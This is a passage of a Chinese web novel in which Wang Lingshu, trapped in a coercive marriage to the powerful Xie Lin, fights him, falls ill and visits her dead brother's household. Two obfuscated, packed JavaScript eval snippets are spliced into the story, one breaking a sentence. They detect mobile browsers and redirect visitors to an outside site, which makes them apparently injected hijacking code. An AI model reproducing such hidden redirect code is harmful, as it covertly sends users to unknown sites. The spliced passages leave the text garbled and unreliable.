王令淑与他定下婚约,其实也不过是一时赌气。后来得知他早有一位青梅竹马,心中反而对他有愧,觉得自己太过骄纵妄为。 她便找了个机会,要与他说清楚这件事。 想着若他实在不答应,大不了让他退了自己的婚事,自己丢丢脸也罢了。 偏偏她时间地点挑得不巧。 那日王令淑等候在角落里,却撞见谢凛被人为难。对方不仅对他百般刁难,还拿这桩婚事来说事,连带着把王令淑也好一番挑拣品评。 她最厌恶这样龌龊的宵小,当即便露了面,与这些人对质。 对方没料到撞到了正主,简直无地自容。 很快,便找借口溜了。 一时之间,便只剩下她和谢凛。 王令淑这才想起女儿家该有的矜持,后知后觉感到有些不好意思,不大自在。 她不记得谢凛说了什么。 只记得抬眼时,青年看向她的面容清俊儒雅,连温和歉疚的目光都收敛着。在短暂的安静后,他递出一方帕子给她,指了指她擦破的额角。 谢凛似乎笑了笑,很含蓄。 王令淑有些无措。 她忐忑地将自己的来意告诉他。 其实她已经记不清,当时的谢凛是何种表情,又说了些什么。总之,她一厢情愿地打断了他,自以为这是他想要的答案,郑重许诺: “若你娶了我,我们便是举案齐眉的夫妻。” “往后生同衾死同穴,与你白头偕老,永不分离,做我阿父阿母那样的眷侣。” 她只记得,自己说这些话的时候,心口跳得很快。 但她觉得很开心。 因为她确实是这样想的,如果嫁给眼前的谢凛为妻,她一定不会像那些龌龊之人口中那般对他,也断然不会让别人这样误解他、为难他。 谢凛明明那么好。 不管那些人说什么,她很愿意嫁给他。 她才不信别人对他的诋毁。 王令淑竟有些不理解当初的自己,她怎么能那么笃定,笃定眼前人是自己的良人。可看着眼前熟悉的面容,陌生的神情,她还是觉得心中苦涩不已。 记忆中的人,大概是幻觉。 她这么多年的真心,全都错付在了一个幻觉上。 “谢凛。”王令淑眼前一会儿闪过记忆里的脸,一会儿是面前的谢凛,整个脑袋几乎要炸开一般,只能有气无力道,“我后悔了。” 她后悔嫁给他。 她后悔不管不顾,将终身托付给他。 谢凛大约听不懂她的意思。 他没有说话,将不再挣扎的王令淑扶起来,倚坐在凭几前。吩咐下人取来温水,他自顾自倒了,递到她唇边,语调温和徐缓:“漱口。” 王令淑没有动作。 他便耐心地抚她的后背,轻拍。 不知过了多久,屋内依旧安静着,没有丝毫声音。 “已到了申正。”谢凛的声音忽然在她耳畔炸响,语调冰冷,带着毫不遮掩的威胁,“若你今日还想去王家,便不要再胡闹。” 王令淑的眼珠转了转。 日头果然西斜。 她看向谢凛,他的脸、脖颈、手上满是血迹,有些地方干了,有些地方没有。她刚才没能杀了谢凛,他眼下又坐在这里,威胁她操控她。 王令淑心中越发不爽快。 她垂在榻上的手摸索着,没一会儿便握住了一把剪刀。 “我要和离。” 王令淑又说了一遍。 谢凛毫不迟疑:“不许。” 王令淑重复:“我要和离。” “胡闹。” 王令淑忍不住抬眼看他,在对方没反应过来之前,她抓着剪子扑了过去。这把金剪刀不大,但磨得很锐,在谢凛还没反应过来前便刺向他。 噗呲一声,锐器撕裂布帛。 王令淑的手腕几乎要被捏碎,无法用力,剪刀脱手。 “王令淑!”谢凛抓住刺在他肩头的剪刀,掌心大片大片粘稠的血液,他却不管肩头的伤,径直将她抓起来,“你疯了不成!当真要杀了我……” “当然!” 王令淑恨声说。 谢凛的脸色阴沉得可怕。 男人苍白的面上溅了大片血迹,漆黑的眼眸瞧着她,好半天才轻笑一下。他松开手,倾身捡起满是血迹的剪刀,对准她脆弱的咽喉。 “不想活了,也好。” 他森白修长的指骨用力,鲜血凝成线滑落。 王令淑被迫抬起脸,对上视线。 谢凛冷冷开口:“王令淑,你总是这么不听话。可你寻死觅活,与我有什么相干,难道你死了我还会为你伤心不成?” 王令淑伸手抓住剪刀,挣扎着站起身。 但谢凛的手按在她肩头,自上而下,拎着傀儡木偶一般不许她动作。 王令淑挣扎了半天,却挣扎不开。她心口的不爽快,几乎要将她整个人撕碎,浑身说不出的焦躁难安,惹得她眼前都一阵一阵泛白。 “……” 不知道谢凛说了什么。 王令淑终于忍不住了,她掀开谢凛。 她张口:“……” 喉间痒得厉害,话说不出来,她只得酝酿片刻。 剪刀被推得扎入谢凛掌心,几乎划出半片白骨,鲜血淋漓。只差一点,尖锐的剪刀便会刺入她喉间,彻底将她单薄的脖颈划破。 谢凛彻底不耐烦,他甩掉手里的剪刀,抓破布娃娃般,攥着王令淑的肩膀将她拎起来。 “你想死吗?” 王令淑面容茫然,脸色惨白。 张了张口,仿佛要说话。 谢凛微微蹙眉,脸色缓和了几分,连攥着她肩膀的手都松了几分。然而王令淑身体猛然绷紧,胸腔收缩,不受控制地挣扎起来。 一口血从她口中喷出。 不等人反应,王令淑本就苍白的脸色迅速萎靡,整个人都灰败下去。 她的身体彻底失去支撑,软倒下去。 谢凛愣了一下。 反应过来,将她捞入怀中,攥住手腕。 …… “只怕,时日不久。” “……寿数……寿数大约,但好好调养过来,或可好起来。” “夫人本就郁结于心,又受了刺激,只是吃药……这……这病在心上,只是吃药怕是……若不从根上解了心结,短则数月,长则一二年……” “还是要少受刺激,解开心结才好。” “只是……多年肝气郁结,脾胃受损,身子已经坏得难补回来了……” 王令淑仿佛做了一场梦,但她记不得梦中发生了什么,想要醒过来却也睁不开眼。 模模糊糊好像能听到人说话。 这些话想要听懂,也要很费一番心神。 王令淑想着想着,又累得睡了过去,也不知道睡了多久才再次模糊醒来。 她睁开眼。 薄霜似的月光照入窗棂,散落满地。 王令淑愣了一会儿,思绪才开始回笼,熟悉的焦虑不安又涌上心头。 不知道晕了多久。 等到天亮,是不是十兄的头七都过去了? 绝不能如此。 王令淑挣扎了一下,想要起身。 周围有什么窸窣轻响,一张苍白阴郁的脸在黑暗中浮现,披着月光靠近她几分,实现如影随形落在她身上,好似藤蔓在纠缠。 是谢凛。 他竟然在床边,也不知坐了多久。 他靠近她,按住她的肩膀。 王令淑没什么力气,被他按了回去。一只冰凉的手落在她双眼上,遮住了幽微的月光,让她重新置身于黑暗和寂静当中。 “继续睡。” 王令淑想开口,可胸口扯着疼。 “等天亮,我带你去王家。” 听到这句话,王令淑心口的郁气散了一些,疲倦随之涌上来。 她微微闭上眼。 但很快,另一个念头,又纠缠上心头。 阿兄的死,究竟是不是与谢凛相关?甚至说,阿兄的死,是不是有谢凛推波助澜……乃至亲自设计的成分? 其实她不能听信蕊娘的一面之词,但怀疑的种子一旦种下,就免不了要在心中生根发芽。更何况她和谢凛之间,早就没有了信任。 但这件事,怎么会与谢凛有关? 王家和谢凛关系最好的,便是十兄了。 待嫁时,十兄时不时便要找谢凛,两人一起吃茶清谈,很是亲近。后来成亲了,两人来往也没少多少,谢凛偶尔休沐,大半时间也被十兄约去了。 王令淑那时候还有些吃醋。 怎么她的郎君,得空的时候陪自己阿兄的时候还多些? 可现在,阿兄死了。 王家如蕊娘所说,死绝了。 王令淑浑身紧绷,冷一阵热一阵,呼吸开始不畅。她竭力忍耐,静静看着窗前淡淡的月光,不知道等了多久,也不见月亮西斜。 真不知道天要几时才亮。 一只手攥住她的手腕,拨开她紧绷蜷缩的手指,握住她的掌心。 等她松了力气,才轻拍她的后背。 空中漂浮着白檀香气。 王令淑沉沉睡去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583804|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 恍惚中,仿佛有人环住她的腰,与她紧贴在一处。对方的气息笼罩着她,令她本能感到危险和抗拒,可她偏又贪恋对方温热的体温,蜷缩着挤入对方怀中。 这一觉睡到了天亮。 醒来时,身侧并没有人。 玉盏正在准备衣裳钗环,听到动静,连忙扶她起身。 王令淑问:“何日了?” 玉盏:“十八了。” 王令淑松了口气,任由玉盏为她穿衣梳发,没一会儿便捯饬好了。只是这张脸实在苍白得厉害,玉盏多用了一些脂粉,谁料反而违和得更厉害。 玉盏有些不安。 王令淑懒得看镜子里的自己。 她起了身,说:“走。” 玉盏似乎有话要说,但谢凛已经从门外走了进来,她便默契地退了下去。 “胭脂太浓了。”谢凛说。 王令淑这才看了一眼镜子,果然太浓了。 她是要去吊唁阿兄的,涂成这样,算什么样子。 王令淑自顾自,将满脸的胭脂水粉全都洗了下来,镜中的女人脸上便没有一点多余的颜色。雪似的面容,宿墨般的眉眼,还是很违和。 “坐下。” 他语调随意。 王令淑只当没听到,朝外走。 她被拽得一个踉跄。 谢凛仍是那副气定神闲的模样,接住摔入他怀中的王令淑,抬手按住她的腰。王令淑要挣扎,他由着,只淡声道:“只剩今日。” 今天是头七的最后一天。 王令淑不再挣扎。 她像是个布娃娃似的,由着谢凛摆弄。 男人坐在她对面,清冷疏离的眉眼微垂,视线淡淡落在她脸上。瞧了片刻,蘸了脂粉在她面上点染勾画,如作画般从容专注。 片刻,谢凛放下青黛。 “走吧。” 王令淑站起身,沉默跟在他身后。 玉盏侯在门口,不经意瞧了王令淑一眼,微微愣神。 该准备的物件,已经准备得很妥当。饶是如此,王令淑还是亲自检查了一遍,确认没出什么差错,才自顾自上了牛车,在谢凛身边坐下。 牛车平稳,行得却慢。 王令淑心急如焚。 她既想念阿兄,又担心珩郎,还有些不知道如何面对嫂嫂。 嫂嫂和阿兄的关系不算和睦,因为珩郎的缘故,两人的婚姻倒也维持着。如今王家倾颓成了这样,阿兄去世,珩郎病重,也不知嫂嫂会如何…… 王令淑坐在窗前,怔怔发呆。 嫂嫂若是要回娘家,另嫁他人,确实是正理。 可珩郎…… 王令淑想起蕊娘鄙夷的目光。 她闭了闭眼。 谢家的牛车抵达王家,不见有人迎接。 王令淑顾不上这些,自顾自进了门,便瞧见雪白肃穆的灵堂。棺椁已然下葬,贡在案前的,只有一方薄薄的灵牌,上头写着她哥哥的名讳。 空中弥漫着香油与纸钱的气味。 她的哥哥,确实死了。 这股后知后觉的悲伤涌上心头,王令淑头晕目眩,整个人几乎要晕过去。 她不知道自己哭了多久。 等到回过神来,面前已然是嫂嫂的面容,她的脸色也说不上好看,轻声道:“节哀。若你也倒下去,我过些日子回家,只怕也没个人托付。” 王令淑并不意外。 可她看着嫂嫂,竟然有些卑劣的失望。 “多久后?” “半月。” 王令淑愣住,连孝期也不守了吗? 但她没办法责怪对方,只能伸手握住她的手,看似是商量,实则是哀求道:“珩郎还小,嫂嫂为我阿兄守三年孝,等珩郎大一些再……” 嫂嫂苦笑了一下。 “阿俏,我今年二十七。” “再等上三年,我便三十岁了,到时候便是再嫁……又如何找到合适的婚事?” 王令淑哑然。 但很快,她又说:“我到时候会设法,将珩郎名下的产业分出三成给嫂嫂。如此一来,便是嫂嫂日后找不到合适的婚事,也断然不会有后顾之忧。” 嫂嫂不说话,只看着她。 王家的事,她一个外嫁女如何做主?更何况,口说无凭。 可珩郎这么小。 如果嫂嫂也走了,这些家业在他手中,无异于小儿怀璧。 到那时,王家只怕要彻底断绝。 王令淑心头发寒。 “你也嫁了人。当知道,娘家的事与你无关,与夫君关系好才是。”嫂嫂絮絮说着,仿佛是有些心虚,话变得有些多,“更何况,你也该体谅我的难处,王家得罪了你夫……” 她戛然而止。 王令淑猛地回过头来。 “你这话,是什么意思?” 大约是王令淑的语气不好,嫂嫂也收了温柔的神色,略带讥讽瞧着她。 “你心中必然是怨怪我,怪我只想着另嫁他人,对你王家没有半分恩义。”她抽回被王令淑握着的手,看向窗外,“可你不也只想着你夫君,听了我这话,就发起怒来。” 王令淑没力气解释。 她只说:“你告诉我,究竟是怎么回事?” “你莫要做出这副浑然不知的模样。”对方冷笑看着王令淑,“王家子弟这些年,在朝中日渐艰难,是因为谁难道你王令淑不清楚?有功夫逼我守孝,不如想想你自己,帮着你的好夫君,都干了些什么好事!” 7. 算计 这话像是一记鸣钟,狠狠敲在王令淑耳边。 震得她心口动荡,难以镇静。 不待她回答,嫂嫂又高声说道:“你王令淑作为王家的女儿,尚且冷血自私,几乎害死自己的亲父兄。凭什么逼我一个外人,为你王家守孝,浪费大好青春在这里磋磨?” “我……并非……”王令淑思维混乱。 她和谢凛彻底闹翻之后,身边的心腹,早已被他全部拔除。至于出门,或者是得知外头的消息,几乎是绝不可能,连日常行动都被他一一操控。 嫂嫂所说的这些,她确实知道得不多。 骤然听闻,只觉得背后发凉。 “与其慨他人之慷,不如你自己与谢司徒和离了,回家支应门庭,我倒也能高看你一眼!”嫂嫂连连冷笑,见王令淑不说话,迅速道,“至于你王家连累我至此,早些放我归家,也算少造些孽。” 王令淑冷声道:“我自会和谢凛和离。但王家如何连累你了?” 嫂嫂哂笑:“你王家人都死绝了,若不是我,你阿兄的尸骨都没人收。你还以为,你王家还是过去的王家不成?还能给我些什么不成?” “闭嘴!” 王令淑已经不知道自己听到了多少次,王家死绝了。每一个字,都像是一把刀,狠狠戳进她的胸膛,将她的心脏血肉搅得支离破碎。 “闭嘴?我如何闭嘴?” “若不是你当年非要嫁给谢凛,又逼着父兄处处帮你的夫婿,更是只顾着谢家,多番帮着谢凛对付你父兄,王家如何落得如今的凋敝模样?” “你若有些心肝,就让那些族老放我早日归家,不受你王家拖累,倒算是稍稍偿还你的罪孽!” 王令淑耳边嗡鸣不止,眼前发白。 她天旋地转,下意识想要扶住什么,却又被拂开。 “谢凛这些年,到底做了什么?” 王令淑忍不住追问,她只以为是当年嫁给谢凛,导致王家在朝中局势发生了偏移,最终走到了如今地步。可嫂嫂话中,处处指责,只怕事情还不止这么简单。 她又想起了蕊娘的话。 蕊娘说,阿兄的死令整个谢家十分高兴。 王令淑感到恐惧。 “谢凛做什么,不都是你王令淑默许,乃至是亲手帮的?”嫂嫂靠近她,低声说,“你以为你阿兄的死,有那么简单吗?” 轰隆一声,王令淑彻底听不见了。 阿兄的死,真的和谢凛有关。 她怎么没有杀了谢凛! “我阿兄的死,到底……” “阿俏,我不知道,我一个妇道人家岂敢知道这些?”嫂嫂的话语陡然哽咽起来,抓住她的手,“求你与族老说,放我回家吧。这都是你造的孽,做什么非要我来承担?” 王令淑有些恍惚。 这些,都是她造的孽吗? 可她当年,也不知道后来…… “眼下你王家都死绝了,你若还这样不知悔改,你父兄在天之灵只怕也不得安息。为了你尸骨未寒的阿兄,你也该替我与珩郎想一想,不叫我们苦守在空荡荡的王家,指不定哪一日就被想着倾吞家产的旁支害死了!” 王令淑的思绪被打断。 恍惚想,阿兄的在天之灵,应当舍不得嫂嫂这般哭泣哀求。 她垂下眼,点点头。 “好,我会与族老说,早日让嫂嫂的家人来接。” “但嫂嫂如此急着回娘家,不知道的,还以为是嫂嫂心虚。偏偏珩郎又病着,看病的还是名满天下的褚灵子,到时候莫说是再嫁寻一个好人家。只怕连带着罗家,也要遭人背后指点。” “嫂嫂还是为我阿兄守一年得好。” 王令淑语气温和。 罗夫人脸色不满道:“一年?谁要为你王家……” “否则,不但我不高兴,夫君面上也无光。”王令淑打断了她,眼底毫不遮掩的讥讽,“你以为,褚灵子是为谁请来的?谢凛是为了嫂嫂请来的吗?” “你!” 当然是为了王令淑请来的。 褚灵子的大名,无人不知,传闻里都将他当作活死人肉白骨的神仙。先太后去世前,施以重金、遍寻天下,这位神医都坐视不理。 罗夫人心中不满,却不敢再在王令淑跟前造次。 虽然人人都知道,王令淑和谢凛夫妻不睦。但以谢凛如今的权势身份,休弃王令淑再容易不过,谢凛却从未提过休妻,反而连妾室都没有一个。 不但如此,还为她找来了褚灵子。 “珩郎病如何了?”王令淑问。 见她不再计较,罗夫人说道:“好一些了,郎中说已然没有性命之虞。” 王令淑站起身。 “若一年之内,珩郎病好了,家中诸事还算平稳,我会为嫂嫂添一笔丰厚的嫁妆。” 罗夫人对上王令淑居高临下的视线,心中知道,如若不然,必然是不会让她好过的。至于如何让她不好过,王令淑身后那位手眼通天的夫君,随便做点什么就够她好受了! 真是好笑,王令淑落得如此境地了…… 竟然还能这样威胁她! “好。” 不满归不满,罗夫人脸上却不敢再放肆。 王令淑这才出去了。 玉盏一板一眼站在门外,见她出来,连忙跟上。 然而,王令淑却只站在廊下。 大约是到了秋季的缘故,记忆里花木繁茂的宅院,实在是显得有些凋敝寥落。风一吹,木叶纷纷而落,只剩几只乌鸦栖在干秃秃的枝桠上。 屋宅年久失修,也显得斑驳老旧、黯淡灰败。 “夫人?”玉盏轻声。 王令淑回神,说:“我小时候,在这棵树下埋了一把金篦子,是我阿娘送我的生辰礼物,上头镶着红蓝二色的宝石,细细密密嵌进去米粒大小的珍珠。对着太阳看,光华流动,熠熠生辉,很是好看。” 玉盏不知道说什么好。 想了好半天,她才干巴巴道:“若是奴收到这样珍贵好看的梳子,一定很高兴,指不定怎么显摆呢。” 王令淑似乎是笑了。 不等玉盏反应过来,她已然抬脚。 她似乎兴致格外好,步伐都有力了许多,顺着游廊快步畅行。午后日光渐盛,洒落在翩跹的蹙金长裙上,宫绦纷飞,实在美得惊人。 玉盏跟在她身后,也觉得心情轻快了许多。 王令淑也不是闲逛。 她对王家的布局熟悉,没一会儿,便到了王珩的住处。只是这病传染,又不能见风,王令淑只能隔着帘子瞧一瞧珩郎,见他确实面色不算太坏,才松了口气。 中间珩郎醒了过来,隔着帘子唤她姑姑。 王珩长得很像阿兄,性子却既不像阿兄也不像嫂嫂,反而很是沉稳。 小小的孩子,竟然劝她不要太伤心。 说起家中最近的事情,也十分条理清晰,连父亲的丧仪心中都有数。若是再长大一些,多半更为聪慧,真能担起王氏的门楣。 “你如今病着,少记挂着这些。” “若有事,也还有你阿母和黄管家顶着,心宽一些。” “遇到了事,多想想,总有应对的法子。” 珩郎应了好。 又说:“阿父生前和姑姑最亲厚,见了姑姑,珩郎便不怕。再说了,姑姑姑父为我请了褚郎中,待我这样好,真遇到了事还怕他们不成?” 王令淑听了这话,怔怔坐着,若有所思。 她点点头:“你这般想,我便放心了。” 坐了会儿。 王令淑拢了拢袖子,起身出去,谢凛正与褚郎中坐着说话。 见她出来,褚灵子便退了下去。 “放心了?”谢凛问。 王令淑自顾自坐下,看他:“你对珩郎说了什么?” 谢凛喝了口茶,没理她。 王令淑重复:“你对珩郎说了什么?” 空气凝滞。 王令淑自己给自己倒茶,手抖,茶杯砸了粉碎,滚烫的茶水也浇了满手。一只手夺走她手中的茶壶,攥着她的手腕,将她拽入怀中。 谢凛:“取冷水和药来。” “放开。” 谢凛没放。 他将她的手按入冷水中泡着,语气随意:“你不是猜到了。” 王令淑心口一窒。 不等她开口,谢凛眉眼越发黑沉冰冷,仍是那副温和儒雅的从容语调:“阿俏,你与你嫂嫂,又说了些什么?” 她和嫂嫂自然说了很多话。 可对上他的视线,王令淑很清楚他在警告什么。 “王家也有你的人?”王令淑只要对上谢凛,就有种说不出的疲惫,以至于此刻生气都生不起来,只是忍不住讥讽,“谢司徒固然手眼通天,只是这样监视偷听,实在是下作极了。” 谢凛置若罔闻。 他拿帕子仔细替她擦干水,蘸了药膏,涂上烫伤的地方。 记忆里,谢凛的手是有茧的。 但这么些年的光景过去,眼前这双手修长玉白,一看便是养尊处优下来,只用执笔调琴。蘸着药膏涂抹上来的动作,漫不经心,力度也刚刚好,丝毫没有弄疼她。 “你刚嫁给我时,便是这样粗手粗脚。” “刚煮好的汤羹,竟也不包帕子,就这么用手去端……” 谢凛锋利冷清的眉眼低垂,竟令人产生了些温柔的错觉。 王令淑有些失神。 那时,她与谢凛新婚。 他的继母却正病了,不敢刁难她,便去折腾谢凛。谢凛白日里在外头忙,傍晚回来,还要被继母使唤成陀螺,有一回天黑透了才回自己院子。 没点灯,他一头撞在了她新移过来的水晶屏风上。 剧烈一声响,满地沾了血的碎片。 谢凛也没有责怪她,脾气好得不像话,反倒是王令淑自己自责得哭。又不敢耽搁他头上的伤,一边掉眼泪,一边笨手笨脚给他处理伤口。 当时他似乎还打趣了她一句。 王令淑破涕为笑。 她坐在地上,瞧着眼前难掩疲倦,却不着痕迹地哄她的新婚夫君,又生起了许多斗志。日子想要越过越好,总不能谢凛一个人辛苦,她也要与他互相扶持才是。 第二日,她便去了婆母处伺候。 如今想来,婆母倒也没敢真磋磨她,也就摆摆架子罢了。 偏偏王令淑未出嫁时养得娇贵。 她不喜女红针织,父亲就不让她做这些,更别说下厨做饭。以至于,婆母让她煮碗简单的莼叶羹,王令淑都捣鼓了好半天,煮废了好几份才好。 眼看天都要黑了,她急急忙忙就上手端。 结果自然烫到了,滚烫的羹汤洒了满手,黏糊糊地一时还擦不干净。 谢凛正撞见这一幕。 按说,那个点他应当刚到家才是,也不知怎么就来了这里。他当时黑着脸,头一回面色极其难看,径直走来攥住她的手,很生气的模样。 王令淑都不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583805|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 他一言不发,矮身舀冷水给她止疼。 她坐在厨房外的板凳上,悄悄垂眼,看见谢凛的衣摆散落满地,被泥水打湿弄脏。 歪下脑袋,还能看到他眼下淡青的影子。 屋里的烛光暖黄,从门缝里拖出几绺,斜斜照在谢凛的侧脸上。但他神情十分专注,浓长乌黑的眼睫低垂,薄唇无意识紧抿着,温和儒雅中又透出一股无形的倔强。 见她似乎好些了,他取了药膏给她涂。 谢凛掌心有一层不薄的茧,指尖也刺刺的,抚在烫伤的皮肤上很疼。而且,他似乎也怎么伺候过人,力道也有些重,王令淑疼得简直要跳脚。 总之,她忍耐得很是辛苦。 这次之后,继母就开始避着她,仿佛有些害怕她和谢凛似的。 王令淑眉头蹙起。 当初的她,在谢凛眼中多半是很可笑。 他在继母处装得恭敬孝顺,大概也是为了养望,好为后来的仕途铺路。她倒好,自作多情地横插一脚,不光打断了他的计划,连带着给他惹了一堆麻烦。 谢凛比她快一步收了神。 “你既不喜欢她,何必留她在王家?” 王令淑愣了下,才反应过来他说的是她的嫂嫂,却不想回答他的话。 谢凛也没恼。 “我也瞧着不大顺眼。”他涂完药膏的指腹微凉,有意无意摩挲她的手腕,语调随意,“她挑拨你和离,这样的人,没什么必要留着。” 听出他话里的意思,王令淑脊背泛冷。 她张了张口,没出声。 嫂嫂出身罗氏,虽然算不上名望,家族却也背景深厚。谢凛官拜尚书令不过几年,眼下升无可升,已然连空置的司徒都授给了他。 他能随意说这样的话,已然是权势深厚到了何种地步? “她是我王家的人,”王令淑想抽回手,嗓音有些发飘,“你不许杀她。” 谢凛没松手。 他顺势将她圈入怀中,手虚虚搭在王令淑腰间,仍是淡淡的语气:“和我提要求,从来没有不要条件的时候。你知道,我要你如何做。” 谢凛身量极高,轻易将她拢入怀中。 外间都是王家的仆人,王令淑没太挣扎,抬手要去找谢凛额角的伤疤。 手却被他死死攥住。 “我不会骗你,这是桩好买满。” “只要我还是王家的女婿,你阿兄的妹夫,便不会有人蠢到敢来寻王家的霉头。那些人的小动作再怎么多,看在我的面子上,都不敢闹到明面上来。” “明面上的产业还在,将来珩郎大了,自能将这些年损去的一切拿回来。” 谢凛权势日笼以后,话越发少。 很少有这么好脾气,细细将一桩买卖,说与别人听的时候。 王令淑扯了扯唇角,讽刺:“你贱不贱?” 他绕这么大一个弯,不过是逼她不同他闹和离,真是有病。 谢凛不说话。 落在她身侧的手用力,攥住了她的腰。 “天下权势都如浮花浪蕊,时有时无,眼下我有,自然该珍惜才是。”谢凛仿佛在她耳边低笑了声,手往下滑,攥着她逼她靠近他,“若有本事,王珩将来自然也可以光复王氏。” 提到王家,王令淑心中又生出一股烦躁。 她狠狠挣扎。 挣扎不开,她伸手扇他,抬脚踹他。 谢凛仿佛对她的招式早已熟悉,抬手将她制住,掐住她的穴位逼她安静。但饶是如此,屋内的茶盏水盆也散落一地,谢凛脸上都添了几道抓痕。 但还是不够。 王令淑看到这张脸,就觉得恶心。 但她没有力气了。 王令淑闭上眼:“你为什么,偏偏要让珩郎来说……” 谢凛仿佛在抚摸她的侧脸。 “阿俏。”对方的吻似乎落在她的脸颊上,很轻,没带什么色欲,就像是在抚弄亲近的宠物般,“除了我,他们都在算计你能为他们带来什么,知道么?” 谢凛知道她能为了阿兄,对珩郎付出一切。 却特意让珩郎来暗示她,只要王谢联姻扔在,王家就会安然无虞。 他这样懂得玩弄人心,攻讦人心。 也这样懂得离间她仅有的亲人。 王令淑的眼神空洞。 “若你不去引导,珩郎不会如此。” 王令淑说出口,又觉得自己这句话多余,竟然还想着与谢凛这种人说道理。她闭了口,不再看他,发了会儿呆才说:“我不闹和离,你让我搬出去。” 下巴被人掐住,唇瓣剧痛。 王令淑痛得想叫,口中腥甜,对方的吻却越发激烈。 她剧烈挣扎起来。 谢凛松开她,眉眼冷得像是淬了冰霜,偏偏苍白如玉的面上勾起一抹危险的笑。他揩掉唇角的血迹,凑近了她的脸,愉悦地弯了弯眼角。 “我若引导……” “他会亲自求你,让你和我,扮演一对恩爱夫妻。无论是跪地摇尾乞怜,或是不要羞耻出卖色相,总之无论付出什么,都要牢牢抓住我身后的权势。” “至于你是死是活,谁会在乎?” “这样他手里的产业不仅安全无虞,说不准,还能再翻上一翻。不仅是珩郎,只怕整个王家都是这么想的,这样就能省了所有人的担忧不安。” “至于你,阿俏。” “除了我,还有谁恨不得把世间所有珍宝,都捧来送给你?” 8. 长命 王令淑只觉得烦躁,他说的每一个字都令她作呕。 她恨不得自己此刻聋了瞎了才好。 不,谢凛死了或许还好些。 “你闭嘴。”王令淑连连后退,顺手摸到了柜上的梅瓶,用力将梅瓶推下来,“你若想与我做一对面上夫妻,就对我有些尊重,否则别怪我让你面上也难看……” 短短一句话,说出来却仿佛抽干了她全身的力气。 王令淑靠着柜子,身体不受控制地往下滑。 碎瓷片迸溅得四处都是,被日光照得闪闪发光,很是刺目。屋外的奴婢听见声响,却悄无声息,四周便只剩下谢凛从容吃茶的细微声响。 他对上她的视线,微微一笑。 王令淑心口发寒。 “好。”谢凛仍是那副好说话的模样,斯斯文文地搁下茶盏,抬手招猫狗似的,“坐下。王家确实有一件事,该由你亲自来办,才显得我重视。” 王令淑不过去。 也不说话。 谢凛便自己道:“王珩年纪太小,若要掌家,身后须得有信得过的人扶持。这个人得由你亲自拔擢,给那些老东西一个下马威,日后才能省事。” “你什么意思?” 若是往日,王令淑自然会用自己的心腹。 可如今,她的心腹早已被谢凛一个一个地剔除掉了。 谢凛要笑不笑看她。 “傅忱如今不光管着你的陪嫁产业,连昔日王家的田地铺子,都有不少被他收购了过来。”他仿佛很是欣赏对方,毫不吝于赞扬,“如今三教九流,都卖他的面子,势力可谓是不可小觑。如此才华,确实出众。” 王令淑呼吸微滞。 她以为,傅忱已经死在了谢凛手里。 没想到,他竟然还活着。 若是傅忱还活着,那他确实可以托付。 两人自幼相识,情谊本就深厚,成亲后更是随着她到了谢家。最重要的一点是,傅忱确实行事稳妥,心思缜密。 但是…… “你又要什么作为交换?”王令淑疲惫道。 “过些日子,是岁岁生辰。” 王令淑一愣。 “我答应了她,要带她出门看马球赛。”谢凛看向她的视线沉了几分,仿佛是警告一般,“当日你若再胡闹,就别怪我将傅忱剁了。” “好。” 王令淑回答得很快。 她终于有了一丝力气,站起身。 谢凛走来,径直将她打横抱起,走出门去。 大约是猜到她会挣扎,他视线扫过满地的水痕与碎瓷片,淡淡讽刺:“若你的好侄儿听闻你与我大吵一架,只怕病得半死,也要来催你与我和好。” 王令淑不挣扎了。 她喉间又痒得厉害,隐隐溢出腥甜。 见两人这样出来,王家仆人面上都闪过惊异,随即深深埋下头。 谢凛没有让王令淑久留。 天色也不早,回到家中,已然天色泛黑。 暖黄的灯笼下,门槛上坐着个小小的女童,瞧见牛车停下便快步朝着王令淑扑过来。王令淑猝不及防,便被扑了个满怀,下意识矮身来抱她。 女童身体又软又暖,依赖地蜷在她怀中。 王令淑冰冷的胸腔也暖起来。 “过来。”谢凛自她身后走过来,仍是威严不失温雅的语调,却是径直伸手将她怀中抱走了谢幼训,“胡闹,谁叫你坐在这里吹冷风?” 语气随时责备,谢幼训却是半点不怕。 她抱住谢凛的脖子,奶声奶气说:“是我也想见舅舅,还有阿父阿母。” 谢凛哼笑了声:“我看你是想挨戒尺。” “阿父!”谢幼训咯咯笑起来,伸手去够屋檐上挂着的灯笼穗子,咕哝着说话,“夫子今日没给我布置课业,我一下课就来找阿母,可阿母不在。来找阿父,阿父也不在。我想你们嘛……” 昏黄灯火下,父女二人眉间都带着笑。 王令淑悄无声息在一侧站着,也觉得好像没有那么难受了。 谢凛道:“等你过生辰,阿父和你都告一日假,带你和你阿母出城去看赛马。” 谢幼训高兴得手舞足蹈。 谢凛一面训她,不许她乱动,一面却将她抱坐到了肩上。 够到了灯笼穗子,于谢幼训来说,也是了不得的大喜事。她好奇晃了几晃,晃得暖黄的灯光都倾泻到王令淑身上,便又张开手,笑着要阿母抱。 王令淑迎着女儿的视线,下意识笑了笑。 她走去,要接过谢幼训。 “沉。” 谢凛拍了拍谢幼训。 谢幼训只好收回手,乖乖坐在谢凛肩头。 仆从们垂首立在门外,悄无声息,却还是忍不住抬眼悄悄打量谢凛几眼。王令淑察觉到了,却没有说什么,只是跟在父女两人身侧。 